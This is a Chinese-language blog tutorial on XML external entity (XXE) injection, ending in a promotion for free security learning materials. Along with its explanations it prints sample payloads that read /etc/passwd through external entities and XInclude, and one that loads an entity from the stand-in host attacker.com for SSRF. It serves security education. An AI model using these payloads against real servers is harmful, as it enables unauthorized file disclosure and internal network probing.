XML 外部实体 (XXE) 注入漏洞原理

XML 外部实体 (XXE) 注入漏洞原理

XXE 漏洞是如何产生的

某些应用程序使用 XML 格式在浏览器和服务器之间传输数据。执行此操作的应用程序几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞的出现是因为 XML 规范包含各种潜在危险的功能,并且标准解析器支持这些功能,即使它们通常不被应用程序使用。

XML 外部实体是一种自定义 XML 实体,其定义的值是从声明它们的 DTD 外部加载的。从安全角度来看,因为外部实体允许根据文件路径或 URL 的内容定义实体。这里出现了很多名词术语,接下来我们来解释一下:

1

什么是 XML

XML 代表 “可扩展标记语言”。XML 是一种用于存储和传输数据的语言。与 HTML 一样,XML 使用标签和数据的树状结构。与 HTML 不同,XML 不使用预定义的标记,因此可以为标记指定描述数据的名称。但是随着技术的发展 JSON 格式会取代XML。

2

什么是 XML 实体

XML 实体是一种在 XML 文档中表示特殊字符或引用外部内容的方法。实体允许你在 XML 文档中使用一些不能直接使用的字符,或者简化文档的创作和维护。XML 规范中内置了一些常用的实体,例如 < 和 >,用于表示小于和大于符号,这些符号在 XML 中有特殊的含义,因此在文本内容中使用它们时需要进行转义。下面是五种标准实体。

图片

3

XML 文档类型定义 (DTD)

XML 文档类型定义 (DTD) 定义 XML 文档的结构、包含的数据值类型以及其他项。DTD 在 XML 文档开头的可选 DOCTYPE 元素中声明。DTD 可以完全自包含于文档本身中(称为“内部 DTD”),也可以从其他位置加载(称为“外部 DTD”),或者可以混合使用。

4

什么是 XML 自定义实体

XML 允许在 DTD 中定义自定义实体,如

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

XML 文档中对实体引用都将替换为定义的值:“my entity value”。

5

什么是 XML 外部实体

XML 外部实体是一种自定义实体,使用 SYSTEM 关键字,并且必须指定应从中加载实体值的 URL。如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com/file.dtd" > ]>

URL 可以使用 file:// 协议,因此可以从 file 加载外部实体,如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

图片

XXE 攻击有哪些类型

1

利用 XXE 检索文件

攻击者通过定义包含文件内容的外部实体,并在应用程序的响应中返回,从而查看应用程序服务器文件系统上的文件。

<!DOCTYPE root [    <!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

xxe实体的值是从服务器文件系统上的/etc/passwd文件加载的。当应用程序解析这个XML文档时,它会读取/etc/passwd文件的内容,并将其作为实体的值插入到XML文档中。如果应用程序将解析后的XML文档返回给用户,那么攻击者就可以看到文件的内容。

利用XXE漏洞来检索各种类型的文件,配置文件:例如,/etc/passwd;日志文件:例如,/var/log/apache2/access.log 文件;数据库文件:例如,/var/lib/mysql/mydatabase.db 文件等等。

2

利用 XXE 执行 SSRF 攻击

XXE 攻击可用于执行服务器端请求伪造 (SSRF),会诱使服务器端应用程序向服务器可以访问的任何 URL 发出 HTTP 请求。

要利用 XXE 漏洞执行 SSRF 攻击,需要使用定位的 URL 定义外部 XML 实体,并在数据值中使用定义的实体。在XXE漏洞的上下文中,攻击者可以通过定义包含URL的外部实体,并在应用程序的响应中返回,从而发起SSRF攻击。获得与后端系统的双向交互。外部实体将导致服务器向内部系统发出后端 HTTP 请求示例:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com"> ]>

定义了一个名为foo的文档类型。并定义一个名为xxe的外部实体,其值是从http://attacker.com 获取。

3

利用盲目 XXE 会带外泄露数据

盲目XXE 漏洞和SQL盲注类似都是系统不会返回任何信息无法确认注入点。盲目XXE 漏洞是应用程序不会在其响应中返回任何已定义的外部实体的值,无法直接检索服务器端文件。但是使用高级技术能够查找漏洞并泄露数据。

4

寻找隐藏的攻击面以进行 XXE 注入

应用程序的正常 HTTP 流量包括包含 XML 格式数据的请求。攻击点不明显,我们可以在不包含任何 XML 的请求中发现 XXE 攻击点

1、XInclude 攻击

XInclude 攻击是一种利用XML中的XInclude功能进行的安全攻击。XInclude 是XML规范的一部分,它允许从子文档构建XML文档。当应用程序接收客户端提交的数据,并在服务器端将其嵌入到XML文档中,然后解析该文档时,可能会发生XInclude攻击。攻击者无法控制整个XML文档,因此无法定义或修改DOCTYPE元素来发起经典的XXE攻击。然而,如果应用程序支持XInclude,攻击者可以在XML文档中的任何数据值中放置XInclude攻击,从而在仅控制放置在服务器端XML文档中的单个数据项的情况下执行攻击。

<foo xmlns:xi="http://www.w3.org/2001/XInclude">     <xi:include parse="text" href="file:///etc/passwd"/></foo>

攻击者通过XInclude指令尝试读取服务器上的/etc/passwd文件

2、通过文件上传进行 XXE 攻击

当应用程序允许用户上传XML文件,并且在服务器端解析这些文件时,如果没有对XML内容进行严格的验证和过滤,攻击者可以上传包含恶意内容的XML文件,从而引发XXE攻击。基于 XML 的格式示例包括 DOCX 等办公文档格式和 SVG 等图像格式。

例如,应用程序可能允许用户上传图像,并在上传图像后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意 SVG 图像,从而到达 XXE 漏洞的隐藏攻击点。

3、通过修改后的内容类型进行 XXE 攻击

在Web开发中,POST请求通常用于向服务器提交数据。大多数情况下,这些请求是由HTML表单生成的,并且使用默认的内容类型,即application/x-www-form-urlencoded。这种内容类型表示提交的数据是键值对的形式,并且经过URL编码。然而,有些Web站点和服务可能需要或能够接受其他内容类型的数据。例如,当提交的数据是XML格式时,可以将Content-Type头设置为application/xml或text/xml。这种情况下,服务器端需要能够解析和处理XML格式的数据。

应用程序可能会对上传文件的内容类型进行检查,以确保文件是合法的XML文件。然而,攻击者可以通过修改HTTP请求中的Content-Type头来绕过这种检查。例如,攻击者可以将一个恶意的XML文件上传,并将其内容类型设置为application/xml,即使文件的实际内容类型可能是其他类型。

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

扫码领取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值